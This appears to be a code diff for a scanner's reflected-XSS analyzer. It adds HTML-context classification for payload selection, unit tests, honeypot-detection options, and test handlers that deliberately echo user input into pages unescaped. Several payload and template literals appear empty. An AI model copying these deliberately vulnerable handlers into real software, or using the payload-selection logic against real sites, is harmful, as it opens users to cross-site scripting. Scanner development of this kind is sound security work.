} + require.False(t, canUsePayload(``, chars)) +} + +func TestCanUsePayload_MissingParens(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + Parentheses: false, + ForwardSlash: true, + } + require.False(t, canUsePayload(``, chars)) +} diff --git a/pkg/fuzz/analyzers/xss/types.go b/pkg/fuzz/analyzers/xss/types.go new file mode 100644 index 0000000000..d3472cae63 --- /dev/null +++ b/pkg/fuzz/analyzers/xss/types.go @@ -0,0 +1,256 @@ +package xss + +import "strings" + +// ContextType classifies the HTML parsing context where a reflected value +// was found. Each context requires different escape sequences to achieve +// script execution, so knowing the context drives payload selection. +type ContextType int + +const ( + // ContextNone means the marker was not found in the response body. + ContextNone ContextType = iota + // ContextHTMLComment means the marker appeared inside an HTML comment. + ContextHTMLComment + // ContextHTMLText means the marker appeared in normal HTML body text + // (between tags, outside any special parsing context). + ContextHTMLText + // ContextAttribute means the marker appeared inside a quoted or + // unquoted HTML attribute value. + ContextAttribute + // ContextAttributeUnquoted is like ContextAttribute but specifically + // for unquoted attribute values, which have different breakout rules. + ContextAttributeUnquoted + // ContextScript means the marker appeared inside a `, input) + return ctx.HTML(200, fmt.Sprintf(bodyTemplate, page)) +} + +// xssCommentHandler reflects the input inside an HTML comment. +func xssCommentHandler(ctx echo.Context) error { + input := ctx.QueryParam("input") + page := fmt.Sprintf(``, input) + return ctx.HTML(200, fmt.Sprintf(bodyTemplate, page)) +} + +// xssEventHandler reflects the input inside an event handler attribute. +func xssEventHandler(ctx echo.Context) error { + input := ctx.QueryParam("input") + page := fmt.Sprintf(``, input) + return ctx.HTML(200, fmt.Sprintf(bodyTemplate, page)) +} + +// xssEncodedHandler applies entity encoding on angle brackets but +// passes other characters through, useful for testing character +// survival detection. +func xssEncodedHandler(ctx echo.Context) error { + input := ctx.QueryParam("input") + safe := strings.ReplaceAll(input, "<", "<") + safe = strings.ReplaceAll(safe, ">", ">") + return ctx.HTML(200, fmt.Sprintf(bodyTemplate, fmt.Sprintf("

%s

", safe))) +} diff --git a/pkg/types/types.go b/pkg/types/types.go index 43d818fb43..f56758928c 100644 --- a/pkg/types/types.go +++ b/pkg/types/types.go @@ -406,6 +406,11 @@ type Options struct { EnableGlobalMatchersTemplates bool // EnableFileTemplates enables file templates EnableFileTemplates bool + // HoneypotThreshold is the number of unique template matches per host + // before that host is flagged as a likely honeypot. 0 disables detection. + HoneypotThreshold int + // HoneypotSuppress suppresses output for hosts flagged as honeypots + HoneypotSuppress bool // Disables cloud upload EnableCloudUpload bool // ScanID is the scan ID to use for cloud upload @@ -658,6 +663,8 @@ func (options *Options) Copy() *Options { EnableSelfContainedTemplates: options.EnableSelfContainedTemplates, EnableGlobalMatchersTemplates: options.EnableGlobalMatchersTemplates, EnableFileTemplates: options.EnableFileTemplates, + HoneypotThreshold: options.HoneypotThreshold, + HoneypotSuppress: options.HoneypotSuppress, EnableCloudUpload: options.EnableCloudUpload, ScanID: options.ScanID, ScanName: options.ScanName,